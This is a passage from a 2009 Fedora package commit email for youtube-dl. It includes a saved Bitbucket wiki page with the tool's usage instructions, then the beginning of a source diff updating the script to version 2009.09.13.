</li><li>For YouTube, you can also use the URL of a playlist, and it will download all the videos in that playlist.
</li><li>For YouTube, you can also use the special word ytsearch to download search results. With ytsearch it will download the first search result. With ytsearchN, where N is a number, it will download the first N results. With ytsearchall it will download every result for that search. In most systems you'll need to use quotes for multiple words. Example: <em>youtube-dl "ytsearch3:cute kittens"</em>.
</li><li><em>youtube-dl</em> honors the http_proxy environment variable if you want to use a proxy. Set it to something like <em><code>http://proxy.example.com:8080</code></em>, and do not leave the <em><code>http://</code></em> prefix out.
</li><li>You can get the program version by calling it as <em>youtube-dl -v</em> or <em>youtube-dl --version</em>.
</li><li>For usage instructions, use <em>youtube-dl -h</em> or <em>youtube-dl --help</em>.
</li><li>You can cancel the program at any time pressing Ctrl+C. It may print some error lines saying something about <em>KeyboardInterrupt</em>. That's ok.
</li></ul>
<h2 id="download-it">Download it</h2>
<p>Note that if you directly click on these hyperlinks, your web browser will most likely display the program contents. It's usually better to right-click on it and choose the appropriate option, normally called <em>Save Target As</em> or <em>Save Link As</em>, depending on the web browser you are using.</p>
<h3 id="httpbitbucketorgrg3youtube-dlraw20090913youtube-dl20090913"><a href="http://bitbucket.org/rg3/youtube-dl/raw/2009.09.13/youtube-dl">2009.09.13</a></h3>
<ul><li><strong>MD5</strong>: db4e6acf6876f5df4896724be0084980
</li><li><strong>SHA1</strong>: c76eca4489d625b76955d2eda76be19960bd9f3b
</li><li><strong>SHA256</strong>: d6ca29457644d3fca8915f50470d50a2599100365bfdc94784868d7884a98afe
</li></ul>
<h3 id="output-template">Output template</h3>
<p>The -o option allows users to indicate a template for the output file names. The basic usage is not to set any template arguments when downloading a single file, like in <em>youtube-dl -o funny_video.flv "<code>http://some/video</code>"</em>. However, it may contain special sequences that will be replaced when downloading each video. The special sequences have the format <strong>%(NAME)s</strong>. To clarify, that's a percent symbol followed by a name in parenthesis, followed by a lowercase S. Allowed names are:</p>
<ul><li><em>id</em>: The sequence will be replaced by the video identifier.
</li><li><em>url</em>: The sequence will be replaced by the video URL.
</li><li><em>uploader</em>: The sequence will be replaced by the nickname of the person who uploaded the video.
</li><li><em>title</em>: The sequence will be replaced by the literal video title.
</li><li><em>stitle</em>: The sequence will be replaced by a simplified video title, restricted to alphanumeric characters and dashes.
</li><li><em>ext</em>: The sequence will be replaced by the appropriate extension (like <em>flv</em> or <em>mp4</em>).
</li><li><em>epoch</em>: The sequence will be replaced by the Unix epoch when creating the file.
</li></ul>
<p>As you may have guessed, the default template is <em>%(id)s.%(ext)s</em>. When some command line options are used, it's replaced by other templates like <em>%(title)s-%(id)s.%(ext)s</em>. You can specify your own.</p>
<h2 id="authors">Authors</h2>
<ul><li>Ricardo Garcia Gonzalez: program core, YouTube.com InfoExtractor, metacafe.com InfoExtractor and YouTube playlist InfoExtractor.
</li><li>Danny Colligan: YouTube search InfoExtractor, ideas and patches.
</li><li>Many other people contributing patches, code, ideas and kind messages. Too many to be listed here. You know who you are. Thank you very much.
</li></ul>
<p>Copyright ? 2006-2009 Ricardo Garcia Gonzalez</p>

		
		
	</div>


			<div class="cb"></div>
		</div>
		<div class="cb footer-placeholder"></div>
	</div>
	<div id="footer-wrapper">
		<div id="footer">
			<a href="/site/terms/">TOS</a> | <a href="/site/privacy/">Privacy Policy</a> | <a href="http://blog.bitbucket.org/">Blog</a> | <a href="http://bitbucket.org/jespern/bitbucket/issues/new/">Report Bug</a> | <a href="http://groups.google.com/group/bitbucket-users">Discuss</a> | <a href="http://avantlumiere.com/">&copy; 2008-2009</a>
			| We run <small><b>
				<a href="http://www.djangoproject.com/">Django 1.1.0</a> / 
				<a href="http://bitbucket.org/jespern/django-piston/">Piston 0.2.3rc1</a> / 
				<a href="http://www.selenic.com/mercurial/">Hg 1.3.1</a> / 
				<a href="http://www.python.org">Python 2.5.2</a> /
				r2687
			</b></small>
		</div>
	</div>
	<script type="text/javascript">
	var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
	document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
	</script>
	<script type="text/javascript">
	var pt = _gat._getTracker("UA-2456069-3");
	pt._trackPageview();
	</script>
</body>
</html>



From rafalzaq at fedoraproject.org  Fri Oct  9 16:53:37 2009
From: rafalzaq at fedoraproject.org (=?utf-8?q?Rafa=C5=82_Psota?=)
Date: Fri,  9 Oct 2009 16:53:37 +0000 (UTC)
Subject: rpms/youtube-dl/F-12 Home, NONE, 1.1 youtube-dl, 1.1,
	1.2 youtube-dl.spec, 1.3, 1.4
Message-ID: <20091009165337.1B08111C00C1@cvs1.fedora.phx.redhat.com>

Author: rafalzaq

Update of /cvs/pkgs/rpms/youtube-dl/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29278

Modified Files:
	youtube-dl youtube-dl.spec 
Added Files:
	Home 
Log Message:
update to 2009.09.13


--- NEW FILE Home ---
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" 
	"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
	<title>
	rg3 / youtube-dl / wiki / Home &mdash; bitbucket.org
</title>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
	<meta name="description" content="Mercurial hosting - we're here to serve." />
	<meta name="keywords" content="mercurial,hg,hosting,bitbucket,rg3,youtube-dl,is,a,small,command-line,program,for,downloading,videos,from,YouTube.com.,wiki" />
	<link rel="stylesheet" type="text/css" href="http://bitbucket.org/m/css/layout.css?12985842" />
	<link rel="stylesheet" type="text/css" href="http://bitbucket.org/m/css/print.css?12985842" media="print" />
	<link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="Bitbucket" />
	<link rel="icon" href="http://bitbucket.org/m/img/logo_new.png" type="image/png"/>
	<script type="text/javascript" src="http://bitbucket.org/m/js/lib/bundle.180909Sep.js?2152820"></script>
	
	<script type="text/javascript">
		$(document).ready(function() {
			Dropdown.init();
			$(".tooltip").tipsy({gravity:'s'});
		});
	</script>
	<noscript>
		<style type="text/css">
			.dropdown-container-text .dropdown {
				position: static !important;
			}
		</style>
	</noscript>

	<!--[if lt IE 7]>
	<style type="text/css">
	body {
		behavior: url(http://bitbucket.org/m/css/csshover.htc);
	}
	
	#issues-issue pre {
		white-space: normal !important;
	}
	
	.changeset-description {
		white-space: normal !important;
	}
	</style>
	<script type="text/javascript"> 
		$(document).ready(function(){ 
			$('#header-wrapper').pngFix();
			$('#sourcelist').pngFix();
			$('.promo-signup-screenshot').pngFix();
		}); 
	</script>
	<![endif]-->
	
	<link rel="stylesheet" href="http://bitbucket.org/m/css/highlight/trac.css" type="text/css" />
	<script type="text/javascript">
		$(document).ready(function() {
			$('#wiki table:not(.highlighttable)').addClass('wikitable');
			$('#wiki table.wikitable tr:even').addClass('crow2');
		});
	</script>

	
	<link href="/rg3/youtube-dl/rss/" rel="alternate nofollow" type="application/rss+xml" title="RSS Feed for youtube-dl" />

</head>
<body class="">
	<div id="main-wrapper">
		<div id="header-wrapper">
			<div id="header">
				<a href="/"><img src="http://bitbucket.org/m/img/logo_myriad.png" alt="Bitbucket" id="header-wrapper-logo" /></a>
				
					<div id="header-nav">
						<div id="header-nav-login-forms">
							<form action="/account/signin/" method="post">
								<fieldset>
									<input id="id_username_header" type="text" class="required login" name="username" value="username" maxlength="30" onfocus="if(this.value=='username'){this.value='';}; $(this).addClass('normaltext');" /> <input id="id_password_header" type="password" class="required login" name="password" value="password" maxlength="128" onfocus="if(this.value=='password'){this.value='';}; $(this).addClass('normaltext');" /> <input type="submit" name="blogin" value="&raquo;" style="display:none;" />
									<input type="hidden" name="next" value="/rg3/youtube-dl/wiki/Home"/>
								</fieldset>
							</form>
							<form name="fopenid" action="/account/signin/" method="post">
								<fieldset>
									<input id="id_openid_url" type="text" class="required openid" name="openid_url" maxlength="255" value="your OpenID URL" onfocus="if(this.value=='your OpenID URL'){this.value='';}; $(this).addClass('normaltext');" /> <input name="bsignin" type="submit" value="&raquo;" style="display: none;" />
									<input type="hidden" name="next" value="/rg3/youtube-dl/wiki/Home" />
								</fieldset>
							</form>
						</div>
						
						<ul class="right">
							<li><a href="/">Home</a></li>
							<li><a href="/plans/"><b>Plans &amp; Signup</b></a></li>
							<li><a href="/repo/all/">Repositories</a></li>
							<li><a href="/news/">News</a></li>
							<li><a href="/help/">Help</a></li>
							<li><a href="/account/signin/">Login</a></li>
						</ul>
					</div>
				
			</div>
		</div>
		<div id="content-wrapper">
			
			
			

			
			
			
	
	





	<script type="text/javascript" src="http://bitbucket.org/m/js/lib/jquery.cookie.js"></script> <!--REMOVE WHEN NEWER BUNDLE THAN 030309Mar -->
	<script type="text/javascript">
		var date = new Date();
		date.setTime(date.getTime() + (365 * 24 * 60 * 60 * 1000));
		var cookieoptions = { path: '/', expires: date };
		
		$(document).ready(function(){
			$('#toggle-repo-content').click(function(){
				$('#repo-desc-cloneinfo').toggle('fast');
				$('#repo-menu').toggle();
				$('#repo-menu-links-mini').toggle(100);
				$('.repo-desc-description').toggle('fast');
				var avatar_new_width = ($('.repo-avatar').width() == 35) ? 16 : 35;
				$('.repo-avatar').animate({ width: avatar_new_width }, 250);
				
				if ($.cookie('toggle_status') == 'hide') {
					$.cookie('toggle_status', 'show', cookieoptions);
					$(this).css('background-image','url(http://bitbucket.org/m/img/repo-toggle-up.png)');
				} else {
					$.cookie('toggle_status', 'hide', cookieoptions);
					$(this).css('background-image','url(http://bitbucket.org/m/img/repo-toggle-down.png)');
				}
			});
			
			if ($.cookie('toggle_status') == 'hide') {
				$('#toggle-repo-content').css('background-image','url(http://bitbucket.org/m/img/repo-toggle-down.png)');
				$('#repo-desc-cloneinfo').hide();
				$('#repo-menu').hide();
				$('#repo-menu-links-mini').show();
				$('.repo-desc-description').hide();
				$('.repo-avatar').css({ width: '16px' });
			} else {
				$('#toggle-repo-content').css('background-image','url(http://bitbucket.org/m/img/repo-toggle-up.png)');
				$('#repo-desc-cloneinfo').show();
				$('#repo-menu').show();
				$('#repo-menu-links-mini').hide();
				$('.repo-desc-description').show();
				$('.repo-avatar').css({ width: '35px' });
			}
		});
	</script>


<div id="tabs">
	<ul class="ui-tabs-nav">
		<li>
			<a href="/rg3/youtube-dl/overview/"><span>Overview</span></a>
		</li>

		<li>
			<a href="/rg3/youtube-dl/downloads/"><span>Downloads (0)</span></a>
		</li>
		
		

		<li>
			
				<a href="/rg3/youtube-dl/src/"><span>Source</span></a>			
			
		</li>
		
		<li>
			<a href="/rg3/youtube-dl/changesets/"><span>Changesets</span></a>
		</li>

		
			
				<li class="ui-tabs-nav-issues ui-tabs-selected">
					<a href="/rg3/youtube-dl/wiki/"><span>Wiki</span></a>
				</li>
			
		

		
			
				<li class="ui-tabs-nav-issues">
					<a href="/rg3/youtube-dl/issues/?status=new&amp;status=open"><span>Issues (4) &raquo;</span></a>
					<ul>
						<li><a href="/rg3/youtube-dl/issues/?status=new">New issues</a></li>
						<li><a href="/rg3/youtube-dl/issues/?status=new&amp;status=open">Open issues</a></li>
						<li><a href="/rg3/youtube-dl/issues/?status=resolved&amp;status=invalid&amp;status=duplicate">Closed issues</a></li>
					
						<li><a href="/rg3/youtube-dl/issues/">All issues</a></li>
						<li><a href="/rg3/youtube-dl/issues/query/">Advanced query</a></li>
						<li><a href="/rg3/youtube-dl/issues/new/">Create new issue</a></li>
					</ul>
				</li>
			
		
				
		
			
		
		
		<li class="tabs-right tabs-far-right">
			<a href="/rg3/youtube-dl/descendants/"><span>Forks/Queues (3)</span></a>
		</li>
		
		<li class="tabs-right">
			<a href="/rg3/youtube-dl/zealots/"><span>Followers (21)</span></a>
		</li>
	</ul>
</div>

<div id="repo-menu">
		<div id="repo-menu-links">
			<ul>
				<li>
					<a href="/rg3/youtube-dl/rss/" class="noborder repo-menu-rss" title="RSS Feed for youtube-dl">RSS</a>
				</li>
				<li>
					<a href="/rg3/youtube-dl/atom/" class="noborder repo-menu-atom" title="Atom Feed for youtube-dl">Atom</a>
				</li>
				
				<li>
					<a href="/rg3/youtube-dl/pull/" class="link-request-pull">
						pull request
					</a>
				</li>
				
				<li><a href="/rg3/youtube-dl/fork/" class="link-fork">fork</a></li>
				
					<li><a href="/rg3/youtube-dl/hack/" class="link-hack">patch queue</a></li>
				
				<li>
					
						<a rel="nofollow" href="/rg3/youtube-dl/follow/" class="link-follow">follow</a>
					
				</li>
				<li><a class="link-download">get source &raquo;</a>

					<ul>
						
						
							<li><a rel="nofollow" href="/rg3/youtube-dl/get/805624cfc278.zip" class="zip">zip</a></li>
							<li><a rel="nofollow" href="/rg3/youtube-dl/get/805624cfc278.gz" class="compressed">gz</a></li>
							<li><a rel="nofollow" href="/rg3/youtube-dl/get/805624cfc278.bz2" class="compressed">bz2</a></li>
						
						
					</ul>
				</li>
			</ul>
		</div>
		
		
		<div id="repo-menu-branches-tags">
 			<ul>
				<li class="icon-branches">
					branches &raquo;
					
					<ul>
					
						<li><a href="/rg3/youtube-dl/src/805624cfc278/">default</a></li>
					
					</ul>
					
				</li>
				<li class="icon-tags">
					tags &raquo;
					
					<ul>
					
						<li><a href="/rg3/youtube-dl/src/805624cfc278/">tip</a></li>
					
						<li><a href="/rg3/youtube-dl/src/6947c04fb1b4/">2009.09.13</a></li>
					
						<li><a href="/rg3/youtube-dl/src/4597eb63af5c/">2009.09.08</a></li>
					
						<li><a href="/rg3/youtube-dl/src/df8b882d8b39/">2009.08.08</a></li>
					
						<li><a href="/rg3/youtube-dl/src/2793d3270ff9/">2009.06.29</a></li>
					
						<li><a href="/rg3/youtube-dl/src/cfc3202eb7b6/">2009.05.30</a></li>
					
						<li><a href="/rg3/youtube-dl/src/4bc5ac772e8a/">2009.05.25</a></li>
					
						<li><a href="/rg3/youtube-dl/src/3f498fb56291/">2009.05.23</a></li>
					
						<li><a href="/rg3/youtube-dl/src/31198e942e00/">2009.05.13</a></li>
					
						<li><a href="/rg3/youtube-dl/src/95b216d50f8a/">2009.05.11</a></li>
					
						<li><a href="/rg3/youtube-dl/src/c42582904adf/">2009.04.25</a></li>
					
						<li><a href="/rg3/youtube-dl/src/468b207ea6ee/">2009.04.06</a></li>
					
						<li><a href="/rg3/youtube-dl/src/1dd3c78e417e/">2009.03.28</a></li>
					
						<li><a href="/rg3/youtube-dl/src/8dc1b312077f/">2009.03.03</a></li>
					
						<li><a href="/rg3/youtube-dl/src/ef03a5f5f333/">2009.02.07</a></li>
					
						<li><a href="/rg3/youtube-dl/src/ee7b97092712/">2009.01.31</a></li>
					
						<li><a href="/rg3/youtube-dl/src/c72929f1680d/">2008.11.01</a></li>
					
						<li><a href="/rg3/youtube-dl/src/846c13fabe78/">2008.10.16</a></li>
					
						<li><a href="/rg3/youtube-dl/src/9636c1843c6f/">2008.09.20</a></li>
					
						<li><a href="/rg3/youtube-dl/src/385afd90ca13/">2008.08.09</a></li>
					
						<li><a href="/rg3/youtube-dl/src/afa03d33275e/">2008.07.22</a></li>
					
					</ul>
				</li>
			</ul>
		</div>
		
		
		<div class="cb"></div>
	</div>
	<div id="repo-desc" class="layout-box">
		
		
		<div id="repo-menu-links-mini" class="right">
			<ul>
				<li>
					<a href="/rg3/youtube-dl/rss/" class="noborder repo-menu-rss" title="RSS Feed for youtube-dl"></a>
				</li>
				<li>
					<a href="/rg3/youtube-dl/atom/" class="noborder repo-menu-atom" title="Atom Feed for youtube-dl"></a>
				</li>
				
				<li>
					<a href="/rg3/youtube-dl/pull/" class="tooltip noborder link-request-pull" title="Pull request"></a>
				</li>
				
				<li><a href="/rg3/youtube-dl/fork/" class="tooltip noborder link-fork" title="Fork"></a></li>
				
					<li><a href="/rg3/youtube-dl/hack/" class="tooltip noborder link-hack" title="Patch queue"></a></li>
				
				<li><a class="tooltip noborder link-download" title="Get source"></a>

					<ul>
						
						
							<li><a rel="nofollow" href="/rg3/youtube-dl/get/805624cfc278.zip" class="zip">zip</a></li>
							<li><a rel="nofollow" href="/rg3/youtube-dl/get/805624cfc278.gz" class="compressed">gz</a></li>
							<li><a rel="nofollow" href="/rg3/youtube-dl/get/805624cfc278.bz2" class="compressed">bz2</a></li>
						
						
					</ul>
				</li>
			</ul>
		</div>
		
		<h3>
			<a href="/rg3/">rg3</a> / 
			<a href="/rg3/youtube-dl/wiki/Home">youtube-dl</a>
			 <span>(<a href="http://bitbucket.org/rg3/youtube-dl/wiki/">http://bitbucket.org/rg3/youtube-dl/wiki/</a>)</span>
			
		</h3>
		
		
		
		
		
		<p class="repo-desc-description">youtube-dl is a small command-line program for downloading videos from <a href="http://YouTube.com" rel="nofollow">YouTube.com</a>.</p>
		
		<div id="repo-desc-cloneinfo">Clone this repository (size: 199.5 KB): <a href="http://bitbucket.org/rg3/youtube-dl/" onclick="$('#clone-url-ssh').hide();$('#clone-url-https').toggle();return(false);"><small>HTTPS</small></a> / <a href="ssh://hg at bitbucket.org/rg3/youtube-dl/" onclick="$('#clone-url-https').hide();$('#clone-url-ssh').toggle();return(false);"><small>SSH</small></a><br/>
		<pre id="clone-url-https">$ hg clone <a href="http://bitbucket.org/rg3/youtube-dl/">http://bitbucket.org/rg3/youtube-dl/</a></pre>
		
		<pre id="clone-url-ssh" style="display:none;">$ hg clone <a href="ssh://hg at bitbucket.org/rg3/youtube-dl/">ssh://hg at bitbucket.org/rg3/youtube-dl/</a></pre></div>
		
		<div class="cb"></div>
		<a href="#" id="toggle-repo-content"></a>
	</div>


			
			

	

<div class="global-divider-header issues-nav">	
	<div id="wiki-nav-links">
		<span class="right">
			<nobr>
				<small>hg clone http://bitbucket.org/rg3/youtube-dl/wiki/</small>
			</nobr>
		</span>
		
		
		<b><a href="/rg3/youtube-dl/wiki/Home" class="wiki-icon-home">Home</a></b>
		
		<a href="/rg3/youtube-dl/wiki/history/Home" class="wiki-icon-history">History</a>
		<a href="http://www.wikicreole.org/wiki/Creole1.0" class="wiki-icon-markup">Wiki Markup</a>
	</div>
	<div class="cb"></div>
</div>

	

	<div id="wiki">
		<p>?</p>
<h1 id="youtube-dl-download-videos-from-youtubecom">youtube-dl: Download videos from YouTube.com</h1>
<p>(and more...)</p>
<h2 id="what-is-it">What is it?</h2>
<p><em>youtube-dl</em> is a small command-line program to download videos from YouTube.com. It requires the <a href="http://www.python.org/">Python interpreter</a>, version 2.x (x being at least 4), and it's not platform specific. It should work in your Unix box, in Windows or in Mac OS X. The latest version is <strong>2009.09.13</strong>. It's released to the public domain, which means you can modify it, redistribute it or use it however you like.</p>
<p>I'll try to keep it updated if YouTube.com changes the way you access their videos. After all, it's a simple and short program. However, I can't guarantee anything. If you detect it stops working, check for new versions and/or inform me about the problem, indicating the program version you are using. If the program stops working and I can't solve the problem but you have a solution, I'd like to know it. If that happens and you feel you can maintain the program yourself, tell me. My contact information is at <a href="http://rg03.wordpress.com/contact-me/">rg03.wordpress.com</a>.</p>
<p>Thanks for all the feedback received so far. I'm glad people find my program useful.</p>
<h2 id="usage-instructions">Usage instructions</h2>
<p>In Windows, once you have installed the Python interpreter, save the program with the <em>.py</em> extension and put it somewhere in the PATH. Try to follow the <a href="/rg3/youtube-dl/wiki/youtube-dl_under_Windows_XP">guide to install youtube-dl under Windows XP</a>.</p>
<p>In Unix, download it, give it execution permission and copy it to one of the PATH directories (typically, <em>/usr/local/bin</em>).</p>
<p>After that, you should be able to call it from the command line as <em>youtube-dl</em> or <em>youtube-dl.py</em>. I will use <em>youtube-dl</em> in the following examples. Usage instructions are easy. Use <em>youtube-dl</em> followed by a video URL or identifier. Example: <em>youtube-dl "<code>http://www.youtube.com/watch?v=foobar</code>"</em>. The video will be saved to the file <em>foobar.flv</em> in that example. As YouTube.com videos are in Flash Video format, their extension should be <em>flv</em>. In Linux and other unices, video players using a recent version of <em>ffmpeg</em> can play them. That includes MPlayer, VLC, etc. Those two work under Windows and other platforms, but you could also get a specific FLV player of your taste.</p>
<p>If you try to run the program and you receive an error message containing the keyword <em>SyntaxError</em> near the end, it means your Python interpreter is too old.</p>
<h2 id="more-usage-tips">More usage tips</h2>
<ul><li>You can change the file name of the video using the -o option, like in <em>youtube-dl -o vid.flv "<code>http://www.youtube.com/watch?v=foobar</code>"</em>. Read the Output template section for more details on this.
</li><li>Some videos require an account to be downloaded, mostly because they're flagged as mature content. You can pass the program a username and password for a YouTube.com account with the -u and -p options, like <em>youtube-dl -u myusername -p mypassword "<code>http://www.youtube.com/watch?v=foobar</code>"</em>.
</li><li>The account data can also be read from the user .netrc file by indicating the -n or --netrc option. The machine name is youtube in that case.
</li><li>The simulate mode (activated with -s or --simulate) can be used to just get the real video URL and use it with a download manager if you prefer that option.
</li><li>The quiet mode (activated with -q or --quiet) can be used to supress all output messages. This allows, in systems featuring <em>/dev/stdout</em> and other similar special files, outputting the video data to standard output in order to pipe it to another program without interferences.
</li><li>The program can be told to simply print the final video URL to standard output using the -g or --get-url option.
</li><li>In a similar line, the -e or --get-title option tells the program to print the video title.
</li><li>The default filename is video_id.flv. But you can also use the video title in the filename with the -t or --title option, or preserve the literal title in the filename with the -l or --literal option.
</li><li>You can make the program append <em>&amp;fmt=something</em> to the URL by using the -f or --format option. This makes it possible to download high quality versions of the videos when available.
</li><li>The -b or --best-quality option can be used to download the highest available quality version of any given video.
</li><li>The -m or --mobile-version option is an alias for -f 17.
</li><li>The -d or --high-def option is an alias for -f 22.
</li><li>Normally, the program will stop on the first error, but you can tell it to attempt to download every video with the -i or --ignore-errors option.
</li><li>The -a or --batch-file option lets you specify a file to read URLs from. The file must contain one URL per line.
</li><li>The program can be told not to overwrite existing files using the -w or --no-overwrites option.
</li><li>It can be told to attempt to continue interrupted downloads with the -c or --continue option.
</li><li>For YouTube, you can also use the URL of a playlist, and it will download all the videos in that playlist.
</li><li>For YouTube, you can also use the special word ytsearch to download search results. With ytsearch it will download the first search result. With ytsearchN, where N is a number, it will download the first N results. With ytsearchall it will download every result for that search. In most systems you'll need to use quotes for multiple words. Example: <em>youtube-dl "ytsearch3:cute kittens"</em>.
</li><li><em>youtube-dl</em> honors the http_proxy environment variable if you want to use a proxy. Set it to something like <em><code>http://proxy.example.com:8080</code></em>, and do not leave the <em><code>http://</code></em> prefix out.
</li><li>You can get the program version by calling it as <em>youtube-dl -v</em> or <em>youtube-dl --version</em>.
</li><li>For usage instructions, use <em>youtube-dl -h</em> or <em>youtube-dl --help</em>.
</li><li>You can cancel the program at any time pressing Ctrl+C. It may print some error lines saying something about <em>KeyboardInterrupt</em>. That's ok.
</li></ul>
<h2 id="download-it">Download it</h2>
<p>Note that if you directly click on these hyperlinks, your web browser will most likely display the program contents. It's usually better to right-click on it and choose the appropriate option, normally called <em>Save Target As</em> or <em>Save Link As</em>, depending on the web browser you are using.</p>
<h3 id="httpbitbucketorgrg3youtube-dlraw20090913youtube-dl20090913"><a href="http://bitbucket.org/rg3/youtube-dl/raw/2009.09.13/youtube-dl">2009.09.13</a></h3>
<ul><li><strong>MD5</strong>: db4e6acf6876f5df4896724be0084980
</li><li><strong>SHA1</strong>: c76eca4489d625b76955d2eda76be19960bd9f3b
</li><li><strong>SHA256</strong>: d6ca29457644d3fca8915f50470d50a2599100365bfdc94784868d7884a98afe
</li></ul>
<h3 id="output-template">Output template</h3>
<p>The -o option allows users to indicate a template for the output file names. The basic usage is not to set any template arguments when downloading a single file, like in <em>youtube-dl -o funny_video.flv "<code>http://some/video</code>"</em>. However, it may contain special sequences that will be replaced when downloading each video. The special sequences have the format <strong>%(NAME)s</strong>. To clarify, that's a percent symbol followed by a name in parenthesis, followed by a lowercase S. Allowed names are:</p>
<ul><li><em>id</em>: The sequence will be replaced by the video identifier.
</li><li><em>url</em>: The sequence will be replaced by the video URL.
</li><li><em>uploader</em>: The sequence will be replaced by the nickname of the person who uploaded the video.
</li><li><em>title</em>: The sequence will be replaced by the literal video title.
</li><li><em>stitle</em>: The sequence will be replaced by a simplified video title, restricted to alphanumeric characters and dashes.
</li><li><em>ext</em>: The sequence will be replaced by the appropriate extension (like <em>flv</em> or <em>mp4</em>).
</li><li><em>epoch</em>: The sequence will be replaced by the Unix epoch when creating the file.
</li></ul>
<p>As you may have guessed, the default template is <em>%(id)s.%(ext)s</em>. When some command line options are used, it's replaced by other templates like <em>%(title)s-%(id)s.%(ext)s</em>. You can specify your own.</p>
<h2 id="authors">Authors</h2>
<ul><li>Ricardo Garcia Gonzalez: program core, YouTube.com InfoExtractor, metacafe.com InfoExtractor and YouTube playlist InfoExtractor.
</li><li>Danny Colligan: YouTube search InfoExtractor, ideas and patches.
</li><li>Many other people contributing patches, code, ideas and kind messages. Too many to be listed here. You know who you are. Thank you very much.
</li></ul>
<p>Copyright ? 2006-2009 Ricardo Garcia Gonzalez</p>

		
		
	</div>


			<div class="cb"></div>
		</div>
		<div class="cb footer-placeholder"></div>
	</div>
	<div id="footer-wrapper">
		<div id="footer">
			<a href="/site/terms/">TOS</a> | <a href="/site/privacy/">Privacy Policy</a> | <a href="http://blog.bitbucket.org/">Blog</a> | <a href="http://bitbucket.org/jespern/bitbucket/issues/new/">Report Bug</a> | <a href="http://groups.google.com/group/bitbucket-users">Discuss</a> | <a href="http://avantlumiere.com/">&copy; 2008-2009</a>
			| We run <small><b>
				<a href="http://www.djangoproject.com/">Django 1.1.0</a> / 
				<a href="http://bitbucket.org/jespern/django-piston/">Piston 0.2.3rc1</a> / 
				<a href="http://www.selenic.com/mercurial/">Hg 1.3.1</a> / 
				<a href="http://www.python.org">Python 2.5.2</a> /
				r2687
			</b></small>
		</div>
	</div>
	<script type="text/javascript">
	var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
	document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
	</script>
	<script type="text/javascript">
	var pt = _gat._getTracker("UA-2456069-3");
	pt._trackPageview();
	</script>
</body>
</html>


Index: youtube-dl
===================================================================
RCS file: /cvs/pkgs/rpms/youtube-dl/F-12/youtube-dl,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- youtube-dl	26 Jan 2008 11:33:26 -0000	1.1
+++ youtube-dl	9 Oct 2009 16:53:36 -0000	1.2
@@ -1,387 +1,1228 @@
 #!/usr/bin/env python
-#
-# Copyright (c) 2006-2008 Ricardo Garcia Gonzalez
-#
-# Permission is hereby granted, free of charge, to any person obtaining a
-# copy of this software and associated documentation files (the "Software"),
-# to deal in the Software without restriction, including without limitation
-# the rights to use, copy, modify, merge, publish, distribute, sublicense,
-# and/or sell copies of the Software, and to permit persons to whom the
-# Software is furnished to do so, subject to the following conditions:
-# 
-# The above copyright notice and this permission notice shall be included
-# in all copies or substantial portions of the Software.
-# 
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
-# THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR
-# OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
-# ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
-# OTHER DEALINGS IN THE SOFTWARE.
-# 
-# Except as contained in this notice, the name(s) of the above copyright
-# holders shall not be used in advertising or otherwise to promote the
-# sale, use or other dealings in this Software without prior written
-# authorization.
-#
-import getpass
+# -*- coding: utf-8 -*-
+# Author: Ricardo Garcia Gonzalez
+# Author: Danny Colligan
+# License: Public domain code
+import htmlentitydefs
 import httplib
+import locale
 import math
 import netrc
-import optparse
 import os
+import os.path
 import re
 import socket
 import string
 import sys
 import time
+import urllib
 import urllib2
 
-# Global constants
-const_1k = 1024
-const_initial_block_size = 10 * const_1k
-const_epsilon = 0.0001
-const_timeout = 120
-
-const_video_url_str = 'http://www.youtube.com/watch?v=%s'
-const_video_url_re = re.compile(r'^((?:http://)?(?:\w+\.)?youtube\.com/(?:v/|(?:watch(?:\.php)?)?\?(?:.+&)?v=))?([0-9A-Za-z_-]+)(?(1)[&/].*)?$')
-const_login_url_str = 'http://www.youtube.com/login?next=/watch%%3Fv%%3D%s'
-const_login_post_str = 'current_form=loginForm&next=%%2Fwatch%%3Fv%%3D%s&username=%s&password=%s&action_login=Log+In'
-const_age_url_str = 'http://www.youtube.com/verify_age?next_url=/watch%%3Fv%%3D%s'
-const_age_post_str = 'next_url=%%2Fwatch%%3Fv%%3D%s&action_confirm=Confirm'
-const_url_t_param_re = re.compile(r', "t": "([^"]+)"')
-const_video_url_real_str = 'http://www.youtube.com/get_video?video_id=%s&t=%s'
-const_video_title_re = re.compile(r'<title>YouTube - ([^<]*)</title>', re.M | re.I)
-
-# Print error message, followed by standard advice information, and then exit
-def error_advice_exit(error_text):
-	sys.stderr.write('Error: %s.\n' % error_text)
-	sys.stderr.write('Try again several times. It may be a temporary problem.\n')
-	sys.stderr.write('Other typical problems:\n\n')
-	sys.stderr.write('* Video no longer exists.\n')
-	sys.stderr.write('* Video requires age confirmation but you did not provide an account.\n')
-	sys.stderr.write('* You provided the account data, but it is not valid.\n')
-	sys.stderr.write('* The connection was cut suddenly for some reason.\n')
-	sys.stderr.write('* YouTube changed their system, and the program no longer works.\n')
-	sys.stderr.write('\nTry to confirm you are able to view the video using a web browser.\n')
-	sys.stderr.write('Use the same video URL and account information, if needed, with this program.\n')
-	sys.stderr.write('When using a proxy, make sure http_proxy has http://host:port format.\n')
-	sys.stderr.write('Try again several times and contact me if the problem persists.\n')
-	sys.exit('\n')
-
-# Wrapper to create custom requests with typical headers
